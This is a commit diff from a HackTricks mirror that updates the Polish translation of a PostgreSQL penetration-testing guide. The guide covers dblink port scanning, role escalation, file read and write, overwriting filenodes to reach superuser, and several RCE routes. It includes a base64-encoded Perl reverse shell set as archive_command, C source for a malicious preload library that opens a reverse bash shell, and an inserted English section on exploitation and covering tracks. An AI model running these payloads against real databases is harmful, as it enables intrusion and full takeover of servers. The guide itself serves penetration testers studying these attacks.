mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-23 05:03:35 +00:00
Translated ['network-services-pentesting/pentesting-postgresql.md', 'win
This commit is contained in:
Translator
parent
c622690324
commit
0d931eae54
2 changed files with 369 additions and 906 deletions
|
|
@ -3,21 +3,21 @@
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) do łatwego tworzenia i **automatyzacji prac** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem w hakowaniu AWS z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
@ -26,7 +26,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**PostgreSQL** jest opisywany jako **system bazodanowy obiektowo-relacyjny**, który jest **open source**. Ten system nie tylko wykorzystuje język SQL, ale także ulepsza go o dodatkowe funkcje. Jego możliwości pozwalają mu obsługiwać szeroki zakres typów danych i operacji, co czyni go wszechstronnym wyborem dla programistów i organizacji.
|
||||
|
||||
**Domyślny port:** 5432, a jeśli ten port jest już zajęty, wydaje się, że postgresql będzie korzystał z następnego portu (prawdopodobnie 5433), który nie jest używany.
|
||||
**Domyślny port:** 5432, a jeśli ten port jest już zajęty, wydaje się, że postgresql użyje następnego portu (prawdopodobnie 5433), który nie jest używany.
|
||||
```
|
||||
PORT STATE SERVICE
|
||||
5432/tcp open pgsql
|
||||
|
|
@ -90,7 +90,7 @@ msf> use auxiliary/scanner/postgres/postgres_dbname_flag_injection
|
|||
|
||||
### **Skanowanie portów**
|
||||
|
||||
Zgodnie z [**tą analizą**](https://www.exploit-db.com/papers/13084), gdy próba połączenia się nie powiedzie, `dblink` rzuca wyjątek `sqlclient_unable_to_establish_sqlconnection`, zawierający wyjaśnienie błędu. Poniżej przedstawiono przykłady tych szczegółów.
|
||||
Zgodnie z [**tą analizą**](https://www.exploit-db.com/papers/13084), gdy próba połączenia się nie powiedzie, `dblink` zwraca wyjątek `sqlclient_unable_to_establish_sqlconnection` zawierający wyjaśnienie błędu. Poniżej przedstawiono przykłady tych szczegółów.
|
||||
```sql
|
||||
SELECT * FROM dblink_connect('host=1.2.3.4
|
||||
port=5678
|
||||
|
|
@ -113,36 +113,34 @@ running on host "1.2.3.4" and accepting TCP/IP connections on port 5678?
|
|||
DETAIL: server closed the connection unexpectedly This probably means
|
||||
the server terminated abnormally before or while processing the request
|
||||
```
|
||||
```plaintext
|
||||
### PostgreSQL
|
||||
```md
|
||||
## PostgreSQL
|
||||
|
||||
#### Enumeration
|
||||
### Enumeration
|
||||
|
||||
When conducting a penetration test on a PostgreSQL database server, start by enumerating the following:
|
||||
To discover PostgreSQL services running on the target system, you can use tools like Nmap or Metasploit. Nmap can be used with the following command:
|
||||
|
||||
1. **PostgreSQL Version**: Identify the version of PostgreSQL running on the server. This information can help determine potential vulnerabilities.
|
||||
2. **Database Users**: Enumerate the database users to understand the level of access each user has.
|
||||
3. **Database Schemas**: Identify the database schemas to gain insights into the structure of the database.
|
||||
4. **Installed Extensions**: Check for any installed extensions that may introduce security risks.
|
||||
5. **Configuration Settings**: Review the PostgreSQL configuration settings for any misconfigurations that could be exploited.
|
||||
```bash
|
||||
nmap -sV -p 5432 <target_ip>
|
||||
```
|
||||
|
||||
#### Exploitation
|
||||
Metasploit also has PostgreSQL modules that can help in enumerating PostgreSQL services.
|
||||
|
||||
After enumerating the PostgreSQL server, proceed with exploiting any identified vulnerabilities. Common exploitation techniques include:
|
||||
### Brute Forcing
|
||||
|
||||
1. **SQL Injection**: Exploit SQL injection vulnerabilities to manipulate the database and retrieve sensitive information.
|
||||
2. **Weak Credentials**: Attempt to crack weak passwords or default credentials to gain unauthorized access.
|
||||
3. **Privilege Escalation**: Look for ways to escalate privileges within the database server to access restricted data.
|
||||
4. **Command Execution**: Exploit command execution vulnerabilities to run arbitrary commands on the server.
|
||||
Once you have identified a PostgreSQL service, you can attempt to brute force the credentials using tools like Metasploit or Hydra. Metasploit provides modules like `postgresql_login` for this purpose.
|
||||
|
||||
#### Post-Exploitation
|
||||
### Exploitation
|
||||
|
||||
Once access to the PostgreSQL server is achieved, perform the following post-exploitation activities:
|
||||
If you find a vulnerability in the PostgreSQL service, you can exploit it using tools like Metasploit. Metasploit offers modules for PostgreSQL exploitation, such as `exploit/linux/postgres/postgres_payload`.
|
||||
|
||||
1. **Data Exfiltration**: Extract sensitive data from the database server.
|
||||
2. **Maintain Access**: Establish backdoors or maintain access to the server for future exploitation.
|
||||
3. **Cover Tracks**: Remove evidence of the intrusion to avoid detection.
|
||||
4. **Pivot to Other Systems**: Use the compromised PostgreSQL server as a pivot point to attack other systems in the network.
|
||||
### Post-Exploitation
|
||||
|
||||
After gaining access to the PostgreSQL database, you can perform various post-exploitation activities like dumping the database, creating a new user, or executing commands on the underlying system.
|
||||
|
||||
### Covering Tracks
|
||||
|
||||
To cover your tracks after the PostgreSQL attack, you can delete logs, remove any backdoors installed, and ensure that there is no evidence of the attack left on the system.
|
||||
```
|
||||
```
|
||||
DETAIL: FATAL: password authentication failed for user "name"
|
||||
|
|
@ -160,17 +158,17 @@ W funkcjach PL/pgSQL obecnie nie można uzyskać szczegółów dotyczących wyj
|
|||
|
||||
| Typy Ról | |
|
||||
| -------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| rolsuper | Rola ma uprawnienia superużytkownika |
|
||||
| rolinherit | Rola automatycznie dziedziczy uprawnienia ról, których jest członkiem |
|
||||
| rolsuper | Rola ma uprawnienia super użytkownika |
|
||||
| rolinherit | Rola automatycznie dziedziczy uprawnienia ról, których jest członkiem |
|
||||
| rolcreaterole | Rola może tworzyć więcej ról |
|
||||
| rolcreatedb | Rola może tworzyć bazy danych |
|
||||
| rolcanlogin | Rola może zalogować się. Oznacza to, że ta rola może być podana jako identyfikator autoryzacji sesji początkowej |
|
||||
| rolcreatedb | Rola może tworzyć bazy danych |
|
||||
| rolcanlogin | Rola może zalogować się. Oznacza to, że rola ta może być podana jako identyfikator autoryzacji sesji początkowej |
|
||||
| rolreplication | Rola jest rolą replikacji. Rola replikacji może inicjować połączenia replikacyjne oraz tworzyć i usuwać sloty replikacyjne. |
|
||||
| rolconnlimit | Dla ról, które mogą się zalogować, ustawia maksymalną liczbę równoczesnych połączeń, jakie ta rola może nawiązać. -1 oznacza brak limitu. |
|
||||
| rolpassword | Nie hasło (zawsze odczytuje się jako `********`) |
|
||||
| rolvaliduntil | Czas wygaśnięcia hasła (używany tylko do uwierzytelniania hasłem); null, jeśli brak wygaśnięcia |
|
||||
| rolbypassrls | Rola omija każdą politykę zabezpieczeń na poziomie wiersza, patrz [Sekcja 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) dla więcej informacji. |
|
||||
| rolconfig | Domyślne wartości dla roli zmiennych konfiguracyjnych czasu wykonania |
|
||||
| rolpassword | Nie hasło (zawsze odczytywane jako `********`) |
|
||||
| rolvaliduntil | Czas wygaśnięcia hasła (używane tylko dla uwierzytelniania hasłem); null, jeśli brak wygaśnięcia |
|
||||
| rolbypassrls | Rola omija każdą politykę zabezpieczeń na poziomie wiersza, zobacz [Sekcję 5.8](https://www.postgresql.org/docs/current/ddl-rowsecurity.html) dla więcej informacji. |
|
||||
| rolconfig | Domyślne wartości dla roli zmiennych konfiguracyjnych czasu wykonania |
|
||||
| oid | ID roli |
|
||||
|
||||
#### Interesujące Grupy
|
||||
|
|
@ -259,9 +257,9 @@ ORDER BY routines.routine_name, parameters.ordinal_position;
|
|||
# Another aparent option
|
||||
SELECT * FROM pg_proc;
|
||||
```
|
||||
## Akcje systemu plików
|
||||
## Akcje na systemie plików
|
||||
|
||||
### Odczytywanie katalogów i plików
|
||||
### Odczytaj katalogi i pliki
|
||||
|
||||
Od tego [**commita**](https://github.com/postgres/postgres/commit/0fdc8495bff02684142a44ab3bc5b18a8ca1863a) członkowie zdefiniowanej grupy **`DEFAULT_ROLE_READ_SERVER_FILES`** (zwanej **`pg_read_server_files`**) oraz **superużytkownicy** mogą używać metody **`COPY`** dla dowolnej ścieżki (sprawdź `convert_and_check_filename` w `genfile.c`):
|
||||
```sql
|
||||
|
|
@ -335,33 +333,37 @@ Jednak istnieją **inne techniki przesyłania dużych plików binarnych:**
|
|||
|
||||
## <img src="../.gitbook/assets/i3.png" alt="" data-size="original">
|
||||
|
||||
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **$100,000**!
|
||||
**Wskazówka dotycząca nagrody za błąd**: **Zarejestruj się** na platformie **Intigriti**, premium **platformie do nagród za błędy stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 USD**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
### Aktualizacja danych tabeli PostgreSQL poprzez zapis lokalnego pliku
|
||||
Jeśli masz odpowiednie uprawnienia do odczytu i zapisu plików serwera PostgreSQL, możesz zaktualizować dowolną tabelę na serwerze, nadpisując powiązany węzeł pliku w [katalogu danych PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html).
|
||||
Więcej na temat tej techniki [tutaj](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Jeśli masz odpowiednie uprawnienia do odczytu i zapisu plików serwera PostgreSQL, możesz zaktualizować dowolną tabelę na serwerze, **nadpisując powiązany węzeł pliku** w [katalogu danych PostgreSQL](https://www.postgresql.org/docs/8.1/storage.html). **Więcej na temat tej techniki** [**tutaj**](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users).
|
||||
|
||||
Wymagane kroki:
|
||||
|
||||
1. Uzyskaj katalog danych PostgreSQL
|
||||
|
||||
```sql
|
||||
SELECT setting FROM pg_settings WHERE name = 'data_directory';
|
||||
```
|
||||
|
||||
**Uwaga:** Jeśli nie możesz pobrać ścieżki bieżącego katalogu danych z ustawień, możesz zapytać o główną wersję PostgreSQL za pomocą zapytania `SELECT version()` i spróbować przeprowadzić atak siłowy na ścieżkę. Powszechne ścieżki katalogu danych w instalacjach PostgreSQL na systemach Unix to `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Powszechną nazwą klastra jest `main`.
|
||||
|
||||
**Uwaga:** Jeśli nie możesz pobrać ścieżki bieżącego katalogu danych z ustawień, możesz zapytać o główną wersję PostgreSQL za pomocą zapytania `SELECT version()` i spróbować przeprowadzić atak siłowy na ścieżkę. Powszechne ścieżki katalogu danych w instalacjach Unix PostgreSQL to `/var/lib/PostgreSQL/MAJOR_VERSION/CLUSTER_NAME/`. Powszechną nazwą klastra jest `main`.
|
||||
2. Uzyskaj względną ścieżkę do węzła pliku, powiązanego z docelową tabelą
|
||||
|
||||
```sql
|
||||
SELECT pg_relation_filepath('{TABLE_NAME}')
|
||||
```
|
||||
To zapytanie powinno zwrócić coś w rodzaju `base/3/1337`. Pełna ścieżka na dysku będzie wynosić `$DATA_DIRECTORY/base/3/1337`, czyli `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
|
||||
To zapytanie powinno zwrócić coś w rodzaju `base/3/1337`. Pełna ścieżka na dysku będzie wynosić `$DATA_DIRECTORY/base/3/1337`, czyli `/var/lib/postgresql/13/main/base/3/1337`.
|
||||
3. Pobierz węzeł pliku za pomocą funkcji `lo_*`
|
||||
|
||||
```sql
|
||||
SELECT lo_import('{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}',13337)
|
||||
```
|
||||
4. Pobierz typ danych powiązany z docelową tabelą
|
||||
|
||||
```sql
|
||||
SELECT
|
||||
STRING_AGG(
|
||||
|
|
@ -381,24 +383,27 @@ JOIN pg_class
|
|||
ON pg_attribute.attrelid = pg_class.oid
|
||||
WHERE pg_class.relname = '{TABLE_NAME}';
|
||||
```
|
||||
5. Użyj [Edytora węzłów plików PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować węzeł pliku](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); ustaw wszystkie flagi logiczne `rol*` na 1 dla pełnych uprawnień.
|
||||
5. Użyj [Edytora węzła pliku PostgreSQL](https://github.com/adeadfed/postgresql-filenode-editor), aby [edytować węzeł pliku](https://adeadfed.com/posts/updating-postgresql-data-without-update/#updating-custom-table-users); ustaw wszystkie flagi logiczne `rol*` na 1 dla pełnych uprawnień.
|
||||
|
||||
```bash
|
||||
python3 postgresql_filenode_editor.py -f {FILENODE} --datatype-csv {DATATYPE_CSV_FROM_STEP_4} -m update -p 0 -i ITEM_ID --csv-data {CSV_DATA}
|
||||
```
|
||||
|
||||
7. Ponownie przesłać zmodyfikowany węzeł pliku za pomocą funkcji `lo_*` i nadpisać oryginalny plik na dysku
|
||||
|
||||
|
||||
6. Ponownie przesłać zmodyfikowany węzeł pliku za pomocą funkcji `lo_*`, i nadpisz oryginalny plik na dysku
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(13338,decode('{BASE64_ENCODED_EDITED_FILENODE}','base64'))
|
||||
SELECT lo_export(13338,'{PSQL_DATA_DIRECTORY}/{RELATION_FILEPATH}')
|
||||
```
|
||||
8. *(Opcjonalnie)* Wyczyść pamięć podręczną tabeli w pamięci, uruchamiając kosztowne zapytanie SQL
|
||||
7. _(Opcjonalnie)_ Wyczyść pamięć podręczną tabeli w pamięci, uruchamiając kosztowne zapytanie SQL
|
||||
|
||||
```sql
|
||||
SELECT lo_from_bytea(133337, (SELECT REPEAT('a', 128*1024*1024))::bytea)
|
||||
```
|
||||
9. Teraz powinieneś zobaczyć zaktualizowane wartości tabeli w PostgreSQL.
|
||||
|
||||
Możesz także stać się superadministratorem, edytując tabelę `pg_authid`. **Zobacz [następną sekcję](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables)**.
|
||||
8. Teraz powinieneś zobaczyć zaktualizowane wartości tabeli w PostgreSQL.
|
||||
|
||||
Możesz również stać się superadministratorem, edytując tabelę `pg_authid`. **Zobacz** [**następną sekcję**](pentesting-postgresql.md#privesc-by-overwriting-internal-postgresql-tables).
|
||||
|
||||
## RCE
|
||||
|
||||
|
|
@ -440,18 +445,19 @@ Więcej informacji na temat tej podatności znajdziesz [**tutaj**](https://mediu
|
|||
|
||||
### RCE z rozszerzeniami PostgreSQL
|
||||
|
||||
Gdy już **nauczysz się** z poprzedniego postu **jak wgrywać pliki binarne**, możesz spróbować uzyskać **RCE wgrywając rozszerzenie postgresql i je wczytując**.
|
||||
Gdy już **nauczysz się** z poprzedniego posta **jak wgrywać pliki binarne**, możesz spróbować uzyskać **RCE wgrywając rozszerzenie postgresql i je wczytując**.
|
||||
|
||||
{% content-ref url="../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md" %}
|
||||
[rce-with-postgresql-extensions.md](../pentesting-web/sql-injection/postgresql-injection/rce-with-postgresql-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### RCE z plikiem konfiguracyjnym PostgreSQL
|
||||
|
||||
{% hint style="info" %}
|
||||
Następujące wektory RCE są szczególnie przydatne w ograniczonych kontekstach SQLi, ponieważ wszystkie kroki można wykonać za pomocą zagnieżdżonych instrukcji SELECT
|
||||
{% endhint %}
|
||||
|
||||
**Plik konfiguracyjny** PostgreSQL jest **zapisywalny** przez użytkownika **postgres**, który uruchamia bazę danych, więc jako **superużytkownik** możesz zapisywać pliki w systemie plików, a więc możesz **nadpisać ten plik.**
|
||||
**Plik konfiguracyjny** PostgreSQL jest **zapisywalny** przez użytkownika **postgres**, który uruchamia bazę danych, więc jako **superużytkownik** możesz zapisywać pliki w systemie plików i w ten sposób możesz go **nadpisać**.
|
||||
|
||||
.png>)
|
||||
|
||||
|
|
@ -483,33 +489,36 @@ Podczas testowania zauważyłem, że to zadziała tylko jeśli **plik klucza pry
|
|||
|
||||
**Więcej** [**informacji o tej konfiguracji i o WAL tutaj**](https://medium.com/dont-code-me-on-that/postgres-sql-injection-to-rce-with-archive-command-c8ce955cf3d3)**.**
|
||||
|
||||
Innym atrybutem w pliku konfiguracyjnym, który jest podatny na atak, jest `archive_command`.
|
||||
Innym atrybutem w pliku konfiguracyjnym, który można wykorzystać, jest `archive_command`.
|
||||
|
||||
Aby to działało, ustawienie `archive_mode` musi być `'on'` lub `'always'`. Jeśli tak jest, możemy nadpisać polecenie w `archive_command` i zmusić je do wykonania poprzez operacje WAL (write-ahead logging).
|
||||
Aby to działało, ustawienie `archive_mode` musi być `'on'` lub `'always'`. Jeśli tak jest, możemy nadpisać polecenie w `archive_command` i zmusić je do wykonania za pomocą operacji WAL (write-ahead logging).
|
||||
|
||||
Ogólne kroki to:
|
||||
|
||||
1. Sprawdź, czy tryb archiwizacji jest włączony: `SELECT current_setting('archive_mode')`
|
||||
2. Nadpisz `archive_command` ładunkiem. Na przykład, odwrócony shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
2. Nadpisz `archive_command` ładując payload. Na przykład, odwrócony shell: `archive_command = 'echo "dXNlIFNvY2tldDskaT0iMTAuMC4wLjEiOyRwPTQyNDI7c29ja2V0KFMsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpO2lmKGNvbm5lY3QoUyxzb2NrYWRkcl9pbigkcCxpbmV0X2F0b24oJGkpKSkpe29wZW4oU1RESU4sIj4mUyIpO29wZW4oU1RET1VULCI+JlMiKTtvcGVuKFNUREVSUiwiPiZTIik7ZXhlYygiL2Jpbi9zaCAtaSIpO307" | base64 --decode | perl'`
|
||||
3. Przeładuj konfigurację: `SELECT pg_reload_conf()`
|
||||
4. Wymuś działanie operacji WAL, która wywoła polecenie archiwizacji: `SELECT pg_switch_wal()` lub `SELECT pg_switch_xlog()` dla niektórych wersji Postgres
|
||||
|
||||
#### **RCE z bibliotekami preload**
|
||||
|
||||
Więcej informacji [o tej technice tutaj](https://adeadfed.com/posts/postgresql-select-only-rce/).
|
||||
|
||||
Ten wektor ataku wykorzystuje następujące zmienne konfiguracyjne:
|
||||
- `session_preload_libraries` -- biblioteki, które zostaną załadowane przez serwer PostgreSQL podczas połączenia klienta.
|
||||
- `dynamic_library_path` -- lista katalogów, w których serwer PostgreSQL będzie szukał bibliotek.
|
||||
|
||||
* `session_preload_libraries` -- biblioteki, które zostaną załadowane przez serwer PostgreSQL podczas połączenia klienta.
|
||||
* `dynamic_library_path` -- lista katalogów, w których serwer PostgreSQL będzie szukał bibliotek.
|
||||
|
||||
Możemy ustawić wartość `dynamic_library_path` na katalog zapisywalny przez użytkownika `postgres` uruchamiającego bazę danych, np. katalog `/tmp/`, i wgrać tam złośliwy obiekt `.so`. Następnie zmusimy serwer PostgreSQL do załadowania naszej nowo wgranej biblioteki, dodając ją do zmiennej `session_preload_libraries`.
|
||||
|
||||
Kroki ataku to:
|
||||
|
||||
1. Pobierz oryginalny `postgresql.conf`
|
||||
2. Dodaj katalog `/tmp/` do wartości `dynamic_library_path`, np. `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Dodaj nazwę złośliwej biblioteki do wartości `session_preload_libraries`, np. `session_preload_libraries = 'payload.so'`
|
||||
2. Dołącz katalog `/tmp/` do wartości `dynamic_library_path`, np. `dynamic_library_path = '/tmp:$libdir'`
|
||||
3. Dołącz nazwę złośliwej biblioteki do wartości `session_preload_libraries`, np. `session_preload_libraries = 'payload.so'`
|
||||
4. Sprawdź główną wersję PostgreSQL za pomocą zapytania `SELECT version()`
|
||||
5. Skompiluj złośliwy kod biblioteki z odpowiednim pakietem deweloperskim PostgreSQL
|
||||
Przykładowy kod:
|
||||
5. Skompiluj zgodny kod z pakietem deweloperskim PostgreSQL. Przykładowy kod:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <sys/socket.h>
|
||||
|
|
@ -548,21 +557,23 @@ char * const argv[] = {"/bin/bash", NULL};
|
|||
execve("/bin/bash", argv, NULL);
|
||||
}
|
||||
```
|
||||
|
||||
Kompilacja kodu:
|
||||
|
||||
```bash
|
||||
gcc -I$(pg_config --includedir-server) -shared -fPIC -nostartfiles -o payload.so payload.c
|
||||
```
|
||||
6. Wgraj złośliwy `postgresql.conf`, utworzony w krokach 2-3, i nadpisz oryginalny
|
||||
7. Wgraj `payload.so` z kroku 5 do katalogu `/tmp`
|
||||
8. Przeładuj konfigurację serwera, restartując serwer lub wywołując zapytanie `SELECT pg_reload_conf()`
|
||||
9. Przy następnym połączeniu z bazą danych otrzymasz połączenie z odwróconym shellem.
|
||||
9. Podczas następnego połączenia z bazą danych otrzymasz połączenie z odwróconym shellem.
|
||||
## **Postgres Privesc**
|
||||
|
||||
### Podwyższenie uprawnień CREATEROLE
|
||||
|
||||
#### **Grant**
|
||||
|
||||
Zgodnie z [**dokumentacją**](https://www.postgresql.org/docs/13/sql-grant.html): _Role posiadająca uprawnienie **`CREATEROLE`** może **udzielać lub odbierać członkostwo w dowolnej roli**, która **nie jest** **superuserem**._
|
||||
Zgodnie z [**dokumentacją**](https://www.postgresql.org/docs/13/sql-grant.html): _Role posiadająca uprawnienie **`CREATEROLE`** może **udzielać lub odbierać przynależność do dowolnej roli**, która **nie jest** **superuserem**._
|
||||
|
||||
Więc jeśli masz uprawnienia **`CREATEROLE`**, możesz udzielić sobie dostępu do innych **ról** (które nie są superuserami), co pozwoli Ci na odczyt i zapis plików oraz wykonywanie poleceń:
|
||||
```sql
|
||||
|
|
@ -580,9 +591,9 @@ Użytkownicy z tą rolą mogą również **zmieniać** **hasła** innych **nie-s
|
|||
#Change password
|
||||
ALTER USER user_name WITH PASSWORD 'new_password';
|
||||
```
|
||||
#### Podwyższenie uprawnień do SUPERUSER
|
||||
#### Podniesienie uprawnień do SUPERUSER
|
||||
|
||||
Jest dość powszechne, że **lokalni użytkownicy mogą zalogować się do PostgreSQL bez podawania hasła**. Dlatego, gdy już zdobędziesz **uprawnienia do wykonywania kodu**, możesz nadużyć tych uprawnień, aby uzyskać rolę **`SUPERUSER`**:
|
||||
Jest dość powszechne, że **lokalni użytkownicy mogą zalogować się do PostgreSQL bez podawania hasła**. Dlatego, gdy już zdobędziesz **uprawnienia do wykonania kodu**, możesz nadużyć tych uprawnień, aby uzyskać rolę **`SUPERUSER`**:
|
||||
```sql
|
||||
COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';
|
||||
```
|
||||
|
|
@ -604,9 +615,9 @@ W [**tym opisie**](https://www.wiz.io/blog/the-cloud-has-an-isolation-problem-po
|
|||
|
||||
Kiedy próbujesz **ustawić innego użytkownika jako właściciela tabeli**, powinieneś otrzymać **błąd** uniemożliwiający to, ale wygląda na to, że GCP dało tę **opcję użytkownikowi postgres, który nie jest superuserem** w GCP:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (4) (1) (1) (1) (2) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Łącząc ten pomysł z faktem, że gdy polecenia **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) są wykonywane na **tabeli z funkcją indeksu**, **funkcja** jest **wywoływana** jako część polecenia z uprawnieniami **właściciela tabeli**. Możliwe jest utworzenie indeksu z funkcją, nadać uprawnienia właściciela **superuserowi** nad tą tabelą, a następnie uruchomić ANALYZE na tabeli z złośliwą funkcją, która będzie mogła wykonywać polecenia, ponieważ korzysta z uprawnień właściciela.
|
||||
Łącząc ten pomysł z faktem, że gdy polecenia **INSERT/UPDATE/**[**ANALYZE**](https://www.postgresql.org/docs/13/sql-analyze.html) są wykonywane na **tabeli z funkcją indeksu**, **funkcja** jest **wywoływana** jako część polecenia z **uprawnieniami właściciela tabeli**. Możliwe jest utworzenie indeksu z funkcją, nadać uprawnienia właściciela **super userowi** nad tą tabelą, a następnie uruchomić ANALYZE na tabeli z złośliwą funkcją, która będzie mogła wykonywać polecenia, ponieważ korzysta z uprawnień właściciela.
|
||||
```c
|
||||
GetUserIdAndSecContext(&save_userid, &save_sec_context);
|
||||
SetUserIdAndSecContext(onerel->rd_rel->relowner,
|
||||
|
|
@ -616,7 +627,7 @@ save_sec_context | SECURITY_RESTRICTED_OPERATION);
|
|||
|
||||
1. Zacznij od stworzenia nowej tabeli.
|
||||
2. Wstaw kilka nieistotnych treści do tabeli, aby dostarczyć danych dla funkcji indeksu.
|
||||
3. Opracuj złośliwą funkcję indeksu zawierającą ładunek wykonania kodu, umożliwiający wykonanie nieautoryzowanych poleceń.
|
||||
3. Opracuj złośliwą funkcję indeksu zawierającą ładunek wykonania kodu, umożliwiającą wykonanie nieautoryzowanych poleceń.
|
||||
4. ZMIEŃ właściciela tabeli na "cloudsqladmin", który jest rolą superużytkownika GCP używaną wyłącznie przez Cloud SQL do zarządzania i utrzymania bazy danych.
|
||||
5. Wykonaj operację ANALYZE na tabeli. Ta czynność zmusza silnik PostgreSQL do przełączenia się na kontekst użytkownika właściciela tabeli, "cloudsqladmin". W rezultacie złośliwa funkcja indeksu jest wywoływana z uprawnieniami "cloudsqladmin", umożliwiając wykonanie wcześniej nieautoryzowanego polecenia powłoki.
|
||||
|
||||
|
|
@ -645,9 +656,9 @@ Następnie tabela `shell_commands_results` będzie zawierać wynik wykonanego ko
|
|||
```
|
||||
uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)
|
||||
```
|
||||
### Lokalne logowanie
|
||||
### Lokalne Logowanie
|
||||
|
||||
Niektóre źle skonfigurowane instancje postgresql mogą zezwalać na logowanie dowolnego lokalnego użytkownika, jest to możliwe lokalnie z 127.0.0.1 przy użyciu funkcji **`dblink`**:
|
||||
Niektóre źle skonfigurowane instancje postgresql mogą zezwalać na logowanie dowolnego lokalnego użytkownika, jest możliwe zalogowanie się lokalnie z 127.0.0.1 przy użyciu funkcji **`dblink`**:
|
||||
```sql
|
||||
\du * # Get Users
|
||||
\l # Get databases
|
||||
|
|
@ -660,13 +671,13 @@ dbname=somedb',
|
|||
RETURNS (result TEXT);
|
||||
```
|
||||
{% hint style="warning" %}
|
||||
Należy pamiętać, że aby poprzednie zapytanie działało, **funkcja `dblink` musi istnieć**. Jeśli nie istnieje, można spróbować ją utworzyć za pomocą
|
||||
Należy pamiętać, że aby poprzednie zapytanie działało, **funkcja `dblink` musi istnieć**. Jeśli jej nie ma, można spróbować ją utworzyć za pomocą
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
